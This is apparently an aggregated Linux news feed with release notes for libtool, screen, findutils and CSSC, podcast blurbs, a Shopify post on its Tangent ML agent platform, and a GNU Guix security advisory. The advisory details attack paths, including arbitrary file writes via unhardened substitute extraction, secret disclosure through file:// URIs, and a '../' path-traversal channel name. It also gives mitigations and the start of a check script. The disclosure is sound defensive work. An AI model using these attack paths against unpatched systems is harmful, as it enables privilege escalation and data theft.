- Avoid overlinking of dependency libraries on ELF systems.
- Ensure old libraries are not archived.
** Changes in supported systems or compilers:
- Add support for SlimCC compiler.
- Add support for *-ironclad-gnu.
** New features:
- Add a new tool, libtool-next-version, to guide users through updating
library versions.
- Add tagging for Objective-C and Objective-C++, OBJC and OBJCXX.
- Increase 5 digit limit on revision value for libraries to 19 digits,
which is referencing Unix epoch time in nanoseconds.
- Add configuration options to choose whether to use '-nostdlib' to let
the compiler frontend decide what standard libraries to link when
building C++ shared libraries and modules, --enable-cxx-stdlib and
--disable-cxx-stdlib.
- Allow statically linking GCC and Clang compiler support libraries
into shared libraries.
- Add linking clang_rt static archives compiler internal libraries by
their absolute path.
- Set 'mklink' as the symlinking tool for MSVC.
- Pass '--target' architecture flag for Clang.
- Support MSYS and MSYS2 file path conversions.
** Bug fixes:
- Fix wrongly deduplicated compiler dependencies on linux.
- Fix NetBSD postdeps for shared libraries.
- Fix statically linking dependencies into shared C++ libraries when
utilizing clang builtins or g++ options like, -static-libstdc++, by
using a new configuration option, --enable-cxx-stdlib.
- Ensure *-linux-mlibc host matches to mlibc userland rather than
matching to GNU/Linux and similar userlands.
- Fix hang with cmd.exe in MSYS.
- For MSVC, fix mishandling compiler flags, symlinking, cl.exe '.exp'
extension collision, symbol names, and numerous testsuite bugs.
- Fix undeclared reference to access on Windows in libltdl.
- Fix flang -Wl flags on FreeBSD.
- Fix reordering '--as-needed' flag.
- Fix libltdl early failures for multi-arch.
** Changes in supported systems or compilers:
- Support additional Intel OneAPI compilers, 'icx', 'icpx', and 'ifx'.
- Support ML64 (Microsoft Macro Assembler).
Enjoy!
Mozilla is paying for Firefox to be on the front of Wrexham football shirts, SCO vs IBM might not be dead after all, Red Hat will support RHEL forever if you are willing to pay, OpenMandriva discovers why distros need good governance, Félim awaits his statue, and a quick Kagi update.
News
Wrexham AFC and Firefox announce a multi-year, front-of-kit partnership
Zombie ‘who owns Unix?’ lawsuit comes alive again
Red Hat Enterprise Linux Long-Life Add-On: Your path to RHEL with no pre-determined end date
OpenMandriva Statement regarding attempted distribution sabotage
Support us on patreon and get an ad-free RSS feed with some early episodes
Hi everyone,
I'm glad to announce the new release of GNU screen.
Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.
The 5.0.2 release includes the following changes to the previous release 5.0.1:
- type on big-endian systems
- UTF-8 combining sequences
- buffer overflow in SendCmdMessage()
- detaching fail with empty terminfo and leave the session attached
- eliminates the TOCTOU race
- manpage fixes
Release (official tarball) will be available soon for download:
https://ftp.gn ... rg/gnu/screen/
Please report any bugs or regressions.
Thanks to everyone who contributed to this release.
Cheers,
Alex
With an increase in the number of security bugs being disclosed irresponsibly, we dig into how the process should work, the differences between normal bugs and security bugs, the complexities of coordinating patches, the human issues involved, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
With an increase in the number of security bugs being disclosed irresponsibly, we dig into how the process should work, the differences between normal bugs and security bugs, the complexities of coordinating patches, the human issues involved, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
This is to announce findutils-4.11.0, a stable release.
This release follows the recent POSIX (IEEE Std 1003.1-2024) changes,
especially to mention the new behavior of 'find -mount' vs. 'find -xdev',
as well as a lot of documentation improvements.
See the NEWS below for more details.
GNU findutils is a set of software tools for finding files that match
certain criteria and for performing various operations on them.
Findutils includes the programs "find", "xargs" and "locate".
More information about findutils is available at:
https://www.gnu.o ... ftware/findutils/
Please report bugs and problems with this release via the the
GNU Savannah bug tracker:
https://savannah. ... /?group=findutils
Please send general comments and feedback about the GNU findutils
package to the mailing list (<mailto:bug-findutils@gnu.org):
https://lists.gnu ... nfo/bug-findutils
There have been 186 commits by 10 people in the - sigh - 25 months since 4.10.0:
Bernhard Voelker (77) Bjarni Ingi Gislason (1)
Christoph Anton Mitterer (1) Collin Funk (5)
Dave (1) G. Branden Robinson (42)
James Youngman (55) Luk303241305241 Zaoral (1)
danny mcClanahan (1) raf (2)
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
M4 1.4.19
Gnulib v1.0-3131-ga575239e47
Please consider supporting the Free Software Foundation in its fund
raising appeal; see <https://www. ... .org/appeal/>.
Thanks to everyone who has contributed!
Have a nice day,
Bernhard Voelker & James Youngman [on behalf of the GNU findutils maintainers]
================================================================================
Here are the compressed sources:
https://ftp.gnu.o ... ils-4.11.0.tar.xz
Here are the GPG detached signatures[*]:
https://ftp.gnu.o ... 4.11.0.tar.xz.sig
Use a mirror for higher download bandwidth:
http://www.gnu. ... /order/ftp.html
Here is the SHA256 checksum:
bfd19cb06cc71f3352d567e90284d8cdac02ac89774bbeadf0b533b0c11432fd findutils-4.11.0.tar.xz
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify findutils-4.11.0.tar.xz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
gpg --keyserver keys.gnupg.net --recv-keys 0CF4E8D871593224842832B888DD9E08C5DDACB9
and rerun the 'gpg --verify' command.
================================================================================
NEWS
** Bug Fixes
find no longer crashes when diagnosing a directory cycle (without a symlink
being involved pointing to a parent directory).
[Bug present since the FTS implementation.]
'find -used' now behaves correctly on OpenBSD 7.8 with difftime(3) underflow
bug in the C library (already fixed there) when the access time of a file is
identical to its change time. [#68264]
'find -ignore_readdir_race' now better handles races between FTS reading a
directory and visiting its entries when the file or directory was meanwhile
removed. [#45930]
To fix a POSIX compatibility bug, -exec foo Z{} + is no longer a
complete predicate, because '+' is only a terminator when it follows
an argument which is exactly '{}'. The findutils documentation
already states this, and now find's behaviour matches the
documentation. [#66365]
'updatedb.sh' now properly handles the variables for the 'find' and 'frcode'
utilities, and hence avoids command injection.
** Changes in find
As announced since the release of 4.7.0 (2019) and mandated by POSIX 2024,
the behaviour of the -mount option changed: while it was a mere alias for
the -xdev option to prevent descending into directories of another device,
the -mount option now makes find(1) ignore files on another device, i.e.,
'find -mount' will skip the entry of active mount points already.
Example, assuming the PROC filesystem is mounted on '/proc':
$ find / -mount -path /proc -print
$ find / -xdev -path /proc -print
/proc
[#54745]
The actions -execdir and -okdir now refuse the '{}' replacement in the zeroth
argument of the command to be run. While POSIX allows this for -exec, this is
deemed insecure as an attacker could influence which files could be found.
'find -regex' with the default or the 'emacs' regextype now aligns better with
Emacs behaviour, and therefore e.g. supports character classes:
$ touch 123 && find -regex './12[[:digit:]]'
./123
find now issues a warning when the punctuation operators '(', ')', '!' and ','
are passed with a leading dash, e.g. '-!'. Future releases will not accept
that any more. Accepting that was rather a bug "since the beginning".
** Improvements
xargs now gives a better error diagnostic when executing the given command
failed.
** Documentation Changes
The most recent version of the POSIX standard (IEEE Std 1003.1-2024,
also known as The Open Group Base Specifications, Issue 8) has
standardised "find -print0" and "xargs -0". Our documentation now
points this out. Similarly for 'find -iname'.
The code example for "Finding the Shallowest Instance" in the Texinfo manual
and the corresponding one in the EXAMPLES section in the find.1 man page have
been fixed. [#62259]
Translators contributed numerous fixes for issues in the find.1 man page.
The list of actions that suppress the default -print action has been
supplemented with the missing '-print0' and '-fprint0' actions.
The manual pages have been updated to give better and/or more
consistent output with manpage formatters other than GNU roff.
** Translations
Updated the following translations:
Arabic, Brazilian Portuguese, Bulgarian, Chinese (simplified), Croatian,
Czech, Dutch, Estonian, French, German, Indonesian, Korean, Polish,
Portuguese, Romanian, Spanish, Swedish, Ukrainian.
** Future Changes
A future release will remove the warning message find prints about
the 2007 change in the meaning of "-perm /000". Everybody who is
likely to care probably knows about this change by now.
-eof-
Is the industry now better or worse than when we got into it?
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
Follow-up on rebooting to update, portable power stations, glass storage, and objective news sources. Plus whether to use one ZFS pool per vdev, or just one large pool.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Feedback
Anker SOLIX EV Charger Adapter (For F3000, J1722 only)
EcoFlow EV Charger to Portable Power Station Adaptor (SAE J1772 to 5P8 Port, 50A)
WattCycle First-to-Market: WattLINK – EcoFlow Delta 2/3 Series PPS E
Free consulting
We were asked about whether to use one ZFS pool per vdev, or just one large pool.
By Alexey Volkov, Bo Li, Ben Chen, Maksym Yezhov, Pete Luferenko, and Volv Grebennikov – Shopify
Machine learning work is full of loops: form a hypothesis, build a pipeline, run it, read the metrics, adjust, repeat. Tangle is already where Shopify’s ML experiments run, giving engineers a shared platform to build and execute pipelines.
Tangent is an autonomous agent that orchestrates ML experimentation workflows on top of Tangle, deciding what to run, running it, and reporting back. Around Tangent we built a Linux-based platform for hosting these agents securely so they can persist, work remotely, and reach the services they need without ever holding a credential. This is done using containerized isolation, a certificate-issuing proxy, and per-instance persistent storage (details below).
Tangle is an open source, platform-agnostic ML experimentation platform with a powerful drag-and-drop visual editor. Users drag components onto a canvas, wire outputs to inputs to form a pipeline graph, and submit it for execution locally or in the cloud. A caching layer skips or reuses previously executed steps, including steps still in flight, so iteration is fast and cheap. All pipeline runs are stored forever (including graphs, components, and logs), making pipelines reproducible even after years have passed.
Because runs and caches are shared, teammates can inspect, copy, and modify each other’s pipelines in seconds, with no cloning a private notebook and hoping the environment matches. Tangle has similarities with other OSS tools like Airflow and Kubeflow Pipelines; its caching model and visual editor are what make fast experimentation loops possible. Any containerized CLI program written in any language can be used as a Tangle component, and those components exchange data as files in any format (CSV, Parquet, JSON, etc.).
Tangle composes components the way shell scripts, makefiles, and *nix pipes do. More information about Tangle is available at tangleml.com and you can immediately try it out.
Tangent is an autonomous ML engineering agent designed to accelerate your Tangle experimentation workflows. It follows the pattern Andrej Karpathy recently popularized as autoresearch. Tangent takes that idea from a single training script on one GPU to full experiment pipelines running on Tangle, with a fleet of specialized subagents, gated checkpoints, and persistent memory. You point it at a scenario, a model, a metric to improve, a dataset, and it iterates: it analyzes results, forms hypotheses, modifies pipelines, submits runs, monitors them, and synthesizes what it learned. How much you delegate is up to you. Tangent works interactively, so you can hand it a single step (build this component, debug this failed run, analyze these metrics), or you can hand off the entire loop with one command and let it run:
tangent auto
Under the hood is an eight-step loop with gated checkpoints. The agent won’t advance until every item on a step’s checklist passes, and it reloads its instructions and context at each gate so it doesn’t drift over a long run. Memory is persistent and plain-text: a MEMORY.md holds the best-known configuration and hard-won lessons; daily session logs capture the play-by-play, and per-run learnings are archived to object storage.
Tangent’s brain is a skill, written in Markdown. The entry point is a single SKILL.md, backed by a fleet of subagent skills: a researcher, a builder, a debugger, a reviewer, and more. Because skills are just files, they’re portable, reviewable in a pull request, and harness-agnostic, the same skill drives whichever coding agent you prefer.
That portability matters because Tangent runs on open agent harnesses instead of one proprietary client. To add a capability, you write a Markdown file and commit it. There is no binary to build or ship. Markdown was chosen deliberately over a config format or DSL: it’s diffable in a normal PR, requires no schema or parser to validate, and both humans and the coding agent read it natively. The skill file doubles as its own documentation.
# Tangent
A skill is just Markdown. This file is the entry point; each subagent is
its own Markdown file, loaded on demand.
## Commands
tangent <subagent> Read agents/<subagent>.md and follow it.
tangent auto Run the autonomous 8-step experiment loop.
## Subagents Agent file
tangent builder agents/builder.md
tangent debugger agents/debugger.md
tangent researcher agents/researcher.md
tangent reviewer agents/reviewer.md
tangent reporter agents/reporter.md
## Auto Mode - the loop
0 Initialize -> 1 Analyze -> 2 Hypothesize -> 3 Submit ->
4 Monitor -> 5 Evaluate -> 6 Synthesize -> 7 Decide -> (loop)
Each step has a gate. The agent won't advance until every item on the
step's checklist passes - and it re-reads its instructions at each
gate so it doesn't drift over a long run.Our Tangent Agent Hosting Platform helps users deploy persistent Tangent instances that communicate with Tangle, cloud providers, and other external services. Each Tangent instance is a multi-agent space: a Linux-based VM/container that can host multiple agentic apps (TUI, API, WebUI). Because every Tangent component runs as a standard Linux process inside a container, Tangent inherits mature Linux networking, storage, and isolation primitives instead of introducing a custom runtime. Instance data (like agent sessions and memories) is persisted across restarts. There are also cross-instance shared memories.
Agents need access to services, but there is always a risk of agents reading the credentials and leaking them to AI providers. Tangent solves this by adding a system-wide proxy which lives in a separate container. The proxy intercepts and modifies HTTP requests coming from the agentic tools. Auth proxy automatically adds auth headers and can modify request URLs (e.g. redirect api.aicompany.com to some AI proxy). To modify HTTPS requests, auth proxy creates new SSL certificates on the fly. The agent container’s OS and programs are configured to trust those certificates via a generated certificate authority.
In the Kubernetes version, each instance is a StatefulSet: a container Pod running agents, apps, and proxies, backed by a per-instance PersistentVolume and a shared memory volume mount.
To work natively with Tangle, we built a custom Agent Host image. The Tangent Shell is an environment where agents run remotely, keep their memory and sessions across restarts, and keep working long after you close your laptop. Tangent Shell orchestrates multiple agents: it splits a request into slices, delegates them to parallel sub-agents, and coordinates results through a Prime agent that owns the session.
Tangent Shell is built to meet the ML expert’s needs. Each session boots pre-loaded with the Tangent skill toolkit and Tangle API tools, instructed to assist with Tangle-based ML experiments: building and optimizing ML training pipelines, testing hypotheses, ablation studies, hyperparameter optimization, etc. With the help of triggers (like webhooks, timers, and schedules), Tangent Shell is able to monitor pipeline executions and implement deep experimentation plans. The agent knows how to operate inside the rich UI, and how to render visual artifacts (Markdown, PNG, HTML).
The Shell is open source. Agent Bundles (packaged sets of prompts, tools, skills, workflows, and triggers) extend it without touching core code.
We used Tangent to rebuild a large reranking model end to end. An engineer set the direction (which features to try, what training data to add) and reviewed results at each step. Tangent built, ran, and analyzed the experiments. Working through the loop, it tried a sequence of changes and measured each one against the previous best:
| Step | What the agent changed | R@90% prec. | R@95% prec. | R@97% prec. |
|---|---|---|---|---|
| Previous pipeline | Prior distillation training, standard features & data | 67.3% | 54.4% | 33.6% |
| + Standardized pipeline | Migrated onto a reproducible trainer (on par; enables fast iteration) | 69.5% | 51.9% | 35.2% |
| + Richer product features | Added structured metadata, taxonomy, text descriptions, and predicted attributes (biggest single lift) | 71.3% | 58.7% | 48.5% |
| + More & harder training data | Added search-derived, sampled, and hard-negative pairs | 75.6% | 60.2% | 43.9% |
Tangle, the Tangent skills, the Hosting Platform, and Tangent Shell are all released under Apache 2.0. Development happens in the open on GitHub, and the projects accept pull requests for new subagent skills, Agent Bundles, and core fixes. Tangle is maintained by its creator, Alexey Volkov, with Shopify as the project’s initial sponsor and infrastructure steward. If you build a subagent skill or Agent Bundle you think others would find useful, we welcome the PR.
The post Building Autonomous ML Experimentation with Tangle and Tangent appeared first on Linux.com.
The condiment we’d pick if we could only have one. With Allan from 2.5 Admins, May from Linux After Dark, and Shane from Hybrid Cloud Show. This is a short episode because Joe is having a summer break.
Patrons got this this in their feed two weeks ago.
clamav-unofficial-sigs fornisce un modo semplice di scaricare, testare e aggiornare database verificati di terze parti forniti da Sanesecurity, FOXHOLE, OITC, Scamnailer, BOFHLAND, CRDF, Porcupine, Securiteinfo, MalwarePatrol, Yara-Rules Project, urlhaus, etc. Lo script genera e installa anche cron, logrotate, e i file man.
L'aggiornamento alla versione major 8.0.0 a partire dalla versione 7.x semplice:
clamav-unofficial-sigs.sh --upgrade clamav-unofficial-sigs.sh --force
Controllare il file log /var/log/clamav-unofficial-sigs/clamav-unofficial-sigs.log alla fine.
A great example of accessibility features benefitting more than the target audience, a new version of the classic game Nethack, checking for bufferbloat, and Windows 10 limps on in discoveries. Then Félim’s question about the perceived value of open source goes in unexpected directions.
Discoveries
Microsoft extends extended updates for Windows 10 in the most muted way imaginable
Support us on patreon and get an ad-free RSS feed with some early episodes
This is to announce CSSC-1.5.0, a beta release.
There have been 424 commits by 2 people since 1.4.1. Thanks to Greg A. Woods for helping to improve CSSC.
See the NEWS below for a brief summary.
===============================================================
Here is the GNU CSSC home page:
https://gn ... rg/s/CSSC/
Here are the compressed sources and a GPG detached signature:
https://alpha.gnu ... CSSC-1.5.0.tar.gz
https://alpha.gnu ... -1.5.0.tar.gz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
File: CSSC-1.5.0.tar.gz
SHA256 sum: 8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify CSSC-1.5.0.tar.gz.sig
The signature should match the fingerprint of the following key:
pub rsa4096 2015-12-24 [SC]
0CF4 E8D8 7159 3224 8428 32B8 88DD 9E08 C5DD ACB9
uid James Youngman <james@youngman.org>
uid James Youngman <jay@gnu.org>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key james@youngman.org
gpg --recv-keys 88DD9E08C5DDACB9
wget -q -O- 'https://savannah. ... SC&download=1'
| gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig
This release is based on the CSSC git repository, available as
git clone https://https.git ... .org/git/CSSC.git
with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.
For a summary of changes and contributors, see:
https://gitweb.gi ... shortlog;h=v1.5.0
or run this command from a git-cloned CSSC directory:
git shortlog CSSC-1.4.1..v1.5.0
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
NEWS
* The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).
* Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.
* Some typos in error message have been fixed.
* admin now supports combination of -r with -n as well as the
portable combination of -r with -i.
* Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper. Thanks to Greg
A. Woods for this improvement.
* In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep. Some very old versions of
Unix may not support this option.
* Various C++ portability improvements.
* Updated version of gnulib.
* Updated version of googletest; this is now at the last
version at which it still supported building with Automake.
* This release is more careful to detect I/O failures when
writing to stdout in prs and prt.
* This release should build on more modern platforms.
* The --with-googletest configure option is removed (now we
always use it).
* Updated versions of gnulib and googletest.
Chris is struggling to decide which distro to install on his new work laptop, and he and Gary want to pick a new distro for the people they support. Plus Joe wonders what moving on from Xfce would look like.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by
guix-daemon,
which enable a variety of harmful activities including remote privilege
escalation to the build daemon user, remote store corruption, and
potentially local disclosure of sensitive files accessible to the build
daemon user. All systems are affected, whether or not guix-daemon is running
with root privileges; the harm that can be done when guix-daemon runs without
root privileges is more limited. You are strongly advised to upgrade your
daemon now (see instructions below), carefully considering whether to pass
--no-substitutes to all guix commands when you do so (see note in Upgrading
section).
The remote exploitation of guix substitute only requires that the vulnerable
system attempt to download a binary substitute. Any configured substitute
server, including ones discovered using guix-daemon's --discover option, can
exploit this, and so can a man-in-the-middle (MITM), regardless of whether
https is used in the substitute server urls.
The local exploitation of guix substitute only requires the ability to connect
to guix-daemon's socket, which by default any user can do.
Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels
file used by these commands to cause a file to be created or overwritten
wherever the user running the command in question has permission to create
them. This is possible regardless of whether the channels file is evaluated in a
sandbox and whether the channels used are limited to those sharing an
introduction with a trusted channel. Due to limitations on the content of the
created or overwritten file, this primarily represents a denial-of-service
risk, though in theory it could do more.
Update 2026-07-06: if you are using the unprivileged
guix-daemon, as is the default on distros other than Guix System since version 1.5.0, and if you updated it between July 2nd and July 5th, you've probably been affected by this regression preventing substitutes from working. It is now fixed, but if you are stuck trying to upgrade, try passing--no-substitutes. If you can't reasonably upgrade without substitutes, you can either take your chances downgrading to the vulnerableguix-daemonand using it or try tinystar's workaround (doesn't apply to Guix on distributions other than Guix System).
Three distinct vulnerabilities have been identified affecting guix substitute,
with a fourth affecting guix pull and guix time-machine:
(CVE assignment pending) The procedure that Guile code uses to unpack
substitutes, restore-file in (guix serialization), was not hardened
against malicious input, but it was called to extract the substitute being
downloaded as it was being downloaded, rather than waiting until after the
entire archive had been obtained and its hash had been verified. These
facts together make it possible for any substitute server (or any entity that
can impersonate one) to write arbitrary files to any place on an affected
system that the daemon user has permission to write to. In the case of the
daemon running as root, that includes /etc/passwd.
To avoid depending on the X.509 Public Key Infrastructure, the procedure that
fetches metadata about available substitutes (called narinfos),
fetch-narinfos, does not verify server certificates, since the canonical
parts of narinfos need to be signed anyway to be considered valid.
Unfortunately the substitute URL is not one such canonical part, and so it
can be replaced with an attacker-controlled URL. If the substitute
downloaded doesn't match the signed hash in the narinfo, it will be rejected,
but by then it is too late: the substitute was extracted as it was being
downloaded, so the damage is already done.
This means that even though download-nar, the procedure responsible for
actually downloading the substitute, does itself verify server certificates,
using https in substitute server urls cannot limit who can exploit this, as
the certificate only needs to be appropriate for the attacker-controlled URL.
restore-file is also used by other utilities, including guix offload,
guix archive --extract, and guix challenge. These can all be exploited
in the same way if untrusted input is given to them.
(CVE assignment pending) The procedure that fetches metadata about available
substitutes (called narinfos), fetch-narinfos in (guix substitutes),
does not verify that the narinfo it got is the one it asked for, nor do any
of its callers in (guix scripts substitute). Consequently, it is possible
for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized
substitute as a substitute for any other store item for which there is an
authorized substitute. The complete extent of harm that can be caused by this
depends in part on what store items an authorized substitute server has
signed or can be convinced to sign, but at minimum this can be used to cause
outdated and insecure versions of software to be used.
(CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying
substitute server URIs (where to look for narinfos) and for specifying within
narinfos where to download the corresponding archive from. It does not
distinguish between --substitute-urls passed on the guix-daemon command
line and --substitute-urls passed on the guix command line (client-side),
with the latter taking precedence over the former. Opening of these file://
URIs follows symbolic links. Consequently, an untrusted client may cause any
file that the daemon can read to be read. If a given line of it doesn't look
like a valid narinfo line (it uses recutils format), guix substitute may
throw an exception, causing a backtrace containing that line to be passed
through to the client. So, for example, a file containing a single line
containing only a secret passphrase may have its contents revealed to any
local user if the daemon user can read it.
Additionally, when a file:// URI is used as the URI of a nar to download,
it may be written to the store if it happens to be a valid nar ("normalized
archive") as used by Guix and Nix. This is unlikely, though.
In addition to possibly causing secrets to be disclosed, this can also be
used to interfere with the reading of any file being read by any process that
the daemon user could trace, through the use of files in /proc/PID/fd.
(CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to
authenticate-repository in (guix git-authenticate). This cache key was
used to determine a filename for storing previously-authenticated commit IDs
in. If the channel name was of the form "../../../../newfile", it could have
caused "newfile" to be created in the user's home directory. It may also have
overwritten "newfile" if it already existed, but only if it already looked
like a Scheme-syntax list of strings, since the contents would have to have
first been read and processed before new contents would have been written.
In the event that a write is performed, the output will only include a
Scheme-syntax comment, newline, and list of hexadecimal strings corresponding
to git commit identifiers. This makes it difficult to use for a practical
attack other than a denial-of-service, but note that since it can target
files in /proc, a sufficiently creative and informed attacker may be able
to exploit this further.
Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.
Vulnerabilities (1) and (2) can be mitigated against remote attackers by not
using substitutes, either by passing --no-substitutes to guix-daemon or
passing --no-substitutes to all guix commands. It's always possible to turn
substitutes back on for an individual client, though, so this doesn't work to
defend against a local attacker exploiting (1), (2), or (3), which cannot be
mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by
not running guix pull or guix time-machine with an untrusted channels file.
A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:
guix repl -- guix-substitute-and-pull-vuln-check.scmNote: this should be run as a regular user that is neither root nor whichever user runs
guix-daemon, since such users will be treated as trusted and will not have the restrictions used to fix vulnerability (3) applied to them, making it impossible for the test to tell whether the fix is in place for untrusted users.
This will finish with a sequence of 4 lines, beginning with restore-file,
fetch-narinfos, file-uris, and cache-key respectively, each followed by a
colon, a space, and either vulnerable or not vulnerable depending on whether
the running guix-daemon has the indicated vulnerability or not. If all 4 lines
contain not vulnerable, then guix repl will exit with status code 0,
otherwise it will exit with status code 1.
Some of the tests can fail to produce a result in some cases. In this case the
output following the test name will start with error:. A test that fails to
produce a result should be regarded as inconclusive.
The restore-file and fetch-narinfos tests may fail to produce a result if no
substitutes are authorized, or if no authorized substitutes for the current
guix's cfunge, hello, or sed packages can be accessed through any of the
configured substitute urls. The restore-file test may fail to produce a result
if cfunge is reachable from some garbage collection root, such as a
profile. The cache-key test may fail to produce a result if network access to
codeberg to fetch a small portion of the history of the guix-science channel
is not available, which can be worked around by editing the script's definition
of guix-science-url to be any URL (or a filename) at which a copy of the
guix-science repository can be found.
These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.
Fixing vulnerability (1) involved hardening restore-file so that it detects
and rejects invalid directory entry names. Specifically, entry names must be
unique, in strictly ascending order, not empty, not equal to "." or "..", and
not containing "/" or null bytes. Additionally, procedures currently used as the
#:dump-file argument to restore-file were modified to insist on creating the
target file afresh and never follow symbolic links.
The inspiration for that last change came from looking at the implementation of
nar-parsing in parse in nix/libutil/archive.cc, where it was determined that
that implementation was not vulnerable, but was about as close to vulnerable as
it could get without actually being vulnerable, only barely being saved by the
fact that the filesystem primitives used all refused to follow symbolic links or
accept an existing target (see this commit
message for
details). To avoid wasting another 3 hours trying to determine this the next
time anyone tries looking at it with a critical eye, that implementation was
also rewritten to be stricter and more obviously secure. It is perhaps not
surprising that the same code led to CVE-2024-45593 in Nix when it was modified
to use more lax filesystem primitives from std::filesystem.
Fixing vulnerability (2) involved modifying fetch-narinfos to not include a
result if it didn't match what was asked for.
Fixing vulnerability (3) involved modifying (guix scripts substitute) to
verify that all substitute urls from untrusted sources are not file:// urls,
and that all nar urls in narinfos are not file:// urls (except when a special
flag is set, which is only done in the test suite).
Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.
Fixing vulnerability (4) involved changing how cache-key was computed by
default for users of authenticate-repository. Rather than being derived from
the name of the channel or (for guix git authenticate) the url of the
repository, cache-key is now derived from the ID of the introductory commit,
which is a very safe hexadecimal string. This also avoids some strange and
potentially-dangerous behavior in which cached authenticated commit IDs could be
shared between two channels that happen to share a name but are otherwise
completely different. Additional hardening of authenticate-repository was
added to turn all occurrences of . in cache-key into - so that even if
non-default cache keys were provided, it would not be possible to escape the
cache directory.
Due to the severity of this security advisory, we strongly recommend all users
to upgrade guix and guix-daemon immediately.
Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass
--no-substitutesis therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.
For Guix System, the
procedure
is to reconfigure the system after a guix pull, either restarting
guix-daemon or rebooting. For example:
guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemonwhere /run/current-system/configuration.scm is the current system
configuration but could, of course, be replaced by a system configuration file
of a user's choice.
For Guix on another distribution, one needs to guix pull with sudo, as
the guix-daemon runs as root, and restart the guix-daemon service, as
documented.
For example, on a system using systemd to manage services, run:
sudo --login guix pull
sudo systemctl restart guix-daemon.serviceNote that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.
restore-file vulnerability
with Christopher Baines and Andreas Enge; Christopher sends details to the
Security Response Team.file:// vulnerability
of guix substitute.guix substitute did not verify whether the narinfo it is getting is the one it
asked for.pull and time-machine vulnerability and
works on a fix. For the sake of convenience and because hints were available
publicly, it was decided that it should be promptly fixed and disclosed at the
same time as the other vulnerabilities.We would like to thank Jörg Thalheim for sharing the restore-file
vulnerability, Christopher Baines for verifying it and informing the Security
Response Team, and Andreas Enge for ensuring
that it reached Ludovic and Caleb and facilitating ongoing communication with
Jörg.
We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.
Below is code to check if your guix-daemon is vulnerable to the first three
vulnerabilities and your guix is vulnerable to the fourth. Save this file as
guix-substitute-and-pull-vuln-check.scm and run following the instructions
above, in "Mitigation."
(use-modules (git)
(guix build utils)
(guix derivations)
(guix channels)
(guix config)
(guix gexp)
(guix git)
(guix narinfo)
(guix packages)
(guix pki)
(guix utils)
(guix serialization)
(guix store)
(guix substitutes)
((gnu packages base) #:hide (which))
